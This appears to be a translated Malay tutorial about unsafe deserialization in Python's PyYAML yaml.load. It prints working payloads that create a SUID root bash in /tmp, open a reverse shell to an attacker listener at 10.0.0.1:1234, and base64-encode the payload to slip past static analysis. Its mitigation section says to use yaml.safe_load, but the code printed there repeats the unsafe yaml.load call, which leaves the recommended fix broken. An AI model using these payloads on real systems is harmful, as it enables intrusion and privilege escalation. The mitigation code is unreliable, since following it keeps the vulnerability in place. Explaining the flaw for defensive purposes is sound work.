Pustaka YAML (YAML Ain't Markup Language) dalam Python telah dikenal pasti mempunyai kelemahan yang membenarkan pelaksanaan arahan sewenang-wenangnya dalam keadaan tertentu. Kerentanan timbul daripada penggunaan fungsi yaml.load tanpa menyatakan pemuat selamat. Secara lalai, yaml.load boleh melaksanakan objek Python sewenang-wenangnya, yang mencipta permukaan serangan untuk muatan berniat jahat.
Risiko asas terletak pada proses penyahserikatan. Apabila dokumen YAML mengandungi muatan berniat jahat, yaml.load memproses arahan terbenam, yang berpotensi membawa kepada pelaksanaan kod. Sebagai contoh, pertimbangkan coretan berikut:
import yaml filename = "example.yml" data = open(filename, 'r').read() yaml.load(data) # Unsafe usage
Di sini, fungsi yaml.load menghuraikan example.yml tanpa sekatan, menjadikannya terdedah jika kandungan YAML termasuk arahan yang tidak selamat. Muatan eksploitasi biasa boleh dibuat untuk melaksanakan arahan sistem sewenang-wenangnya.
import yaml from yaml import Loader, UnsafeLoader # Malicious payload payload = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]' # Exploitation yaml.load(payload) yaml.load(payload, Loader=Loader) yaml.load(payload, Loader=UnsafeLoader)
Setiap seruan ini memproses muatan, menghasilkan penciptaan boleh laku istimewa dalam /tmp/bash. Perduaan ini kemudiannya boleh dilaksanakan dengan keistimewaan yang tinggi:
/tmp/bash -p
Ini menunjukkan potensi peningkatan keistimewaan jika kelemahan dieksploitasi pada sistem dengan kebenaran tersalah konfigurasi atau kelemahan lain.
Kes penggunaan yang sangat berbahaya adalah memanfaatkan kelemahan untuk cangkerang terbalik. Ini membolehkan penyerang mendapat akses jauh ke mesin sasaran. Proses ini melibatkan memulakan pendengar pada mesin penyerang dan mencipta dokumen YAML yang direka bentuk untuk mewujudkan sambungan terbalik.
Pada mesin penyerang, mulakan pendengar Netcat:
nc -lvnp 1234
Pada sistem sasaran, laksanakan skrip Python berikut sebagai akar:
import yaml # Reverse shell payload data = '!!python/object/new:os.system ["bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\""]' yaml.load(data) # Executes the reverse shell
Muatan muatan ini mengarahkan mesin sasaran untuk menyambung kembali kepada pendengar penyerang, menyediakan cangkerang interaktif sepenuhnya dengan keistimewaan proses pelaksanaan.
Untuk memintas kawalan atau penapis keselamatan asas, muatan boleh dikodkan Base64. Kaedah ini menambahkan lapisan pengeliruan, yang berpotensi mengelak pengesanan oleh alat analisis statik.
from base64 import b64decode import yaml # Base64-encoded payload encoded_payload = b"ISFweXRa...YXNoIl0=" # Truncated for brevity payload = b64decode(encoded_payload) # Execute the payload yaml.load(payload)
Para profesional mesti mengamalkan amalan pengekodan yang ketat untuk menghapuskan kelemahan tersebut. Mitigasi yang disyorkan termasuk:
Menggunakan Pemuat Selamat: Gantikan yaml.load dengan yaml.safe_load, yang menghalang pelaksanaan objek sewenang-wenangnya.
import yaml filename = "example.yml" data = open(filename, 'r').read() yaml.load(data) # Unsafe usage
Menghadkan Sumber Input: Pastikan input YAML dibersihkan dan hanya berasal daripada sumber yang dipercayai.
Menggunakan Analisis Statik: Gunakan alatan untuk mengimbas pangkalan kod untuk seruan yaml.load yang tidak selamat.
Pengerasan Alam Sekitar: Hadkan kebenaran sistem untuk meminimumkan kesan eksploitasi. Contohnya, menggunakan persekitaran kontena mengehadkan keupayaan penyerang untuk meningkatkan keistimewaan.
Tingkah laku lalai pustaka YAML menunjukkan risiko yang berkaitan dengan penyahserikatan dalam bahasa yang ditaip secara dinamik seperti Python. Mengeksploitasi kelemahan ini memerlukan kecanggihan yang minimum, menjadikannya isu keutamaan tinggi untuk pembangunan aplikasi yang selamat. Mengguna pakai amalan pengekodan selamat, bersama-sama dengan pengesahan input yang mantap dan perlindungan masa jalan, adalah penting untuk mengurangkan risiko ini dengan berkesan.
Atas ialah kandungan terperinci Berhati-hati Apabila Menggunakan YAML dalam Python! Mungkin Terdapat Kerentanan Keselamatan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!